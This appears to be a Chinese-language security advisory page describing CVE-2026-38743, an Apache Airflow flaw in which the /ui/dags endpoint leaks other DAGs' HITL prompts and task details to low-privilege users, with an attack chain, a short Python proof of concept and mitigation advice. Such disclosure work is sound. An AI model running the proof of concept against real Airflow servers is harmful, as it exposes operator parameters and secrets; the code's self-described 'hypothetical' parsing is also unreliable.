IPBUF安全漏洞报告
English
CVE-2026-38743 CVSS 4.3 中危

CVE-2026-38743 Apache Airflow 访问控制绕过漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-38743
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache Airflow

相关标签

权限绕过信息泄露Apache AirflowCVE-2026-38743RBAC

漏洞概述

Apache Airflow存在权限绕过漏洞,由于`/ui/dags`端点未对嵌入的Human-in-the-Loop (HITL)和TaskInstance记录强制执行按DAG的访问控制。仅需拥有任意DAG读取权限的登录用户,即可检索其授权范围之外的DAG的HITL提示及完整任务实例详情。这导致算子参数等敏感数据泄露,破坏了预期的RBAC边界。

技术细节

该漏洞源于Apache Airflow在处理`/ui/dags`端点请求时的访问控制逻辑缺陷。尽管系统实施了基于角色的访问控制(RBAC)以限制用户只能访问特定的DAG(有向无环图),但在序列化返回数据时,未能对嵌入的Human-in-the-Loop (HITL)组件和TaskInstance(任务实例)记录进行二次权限校验。具体而言,当攻击者以低权限用户身份登录并请求DAG列表时,后端API在查询关联数据时直接返回了数据库中的HITL提示和任务详情,而这些数据可能属于攻击者未被授权访问的DAG。由于HITL提示和TaskInstance字段通常包含算子参数、环境变量及任务上下文,攻击者可利用此漏洞通过简单的网络请求窃取敏感配置信息,进而扩大攻击面。

攻击链分析

STEP 1
侦察
攻击者识别目标网络上运行的Apache Airflow实例。
STEP 2
获取凭证
攻击者获取一个有效的低权限用户账号,该账号仅需拥有对Airflow中至少一个DAG的读取权限。
STEP 3
发送请求
攻击者使用该账号登录,并向`/ui/dags`端点发送经过认证的HTTP GET请求。
STEP 4
数据泄露
由于后端未对嵌入的HITL和TaskInstance记录进行权限校验,响应数据中包含了其他未授权DAG的敏感信息(如算子参数和任务上下文)。攻击者解析响应从而获取泄露数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Apache Airflow CVE-2026-38743 PoC # Description: Retrieves unauthorized HITL and TaskInstance details via /ui/dags target = "http://localhost:8080" endpoint = "/ui/dags" # Valid session cookie for a user with read access to at least one DAG session_cookie = "session=.eJwlkk..." headers = { "Cookie": session_cookie, "User-Agent": "Mozilla/5.0 (PoC-Scanner)" } try: # Send authenticated GET request response = requests.get(target + endpoint, headers=headers) if response.status_code == 200: data = response.json() print("[+] Request successful. Parsing response for leaked data...") # Hypothetical parsing logic based on vulnerability description # The response contains HITL and TaskInstance data for DAGs the user shouldn't see for dag in data.get('dags', []): dag_id = dag.get('dag_id') # Check for leaked task instances or HITL prompts if 'task_instances' in dag: print(f"[!] Leaked TaskInstance found in DAG: {dag_id}") print(f" Details: {dag['task_instances']}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Apache Airflow < 3.2.1

防御指南

临时缓解措施
如果无法立即升级,建议严格限制Airflow Web服务器的网络访问权限,仅允许受信任的IP地址访问,以防止潜在的凭证滥用和信息泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表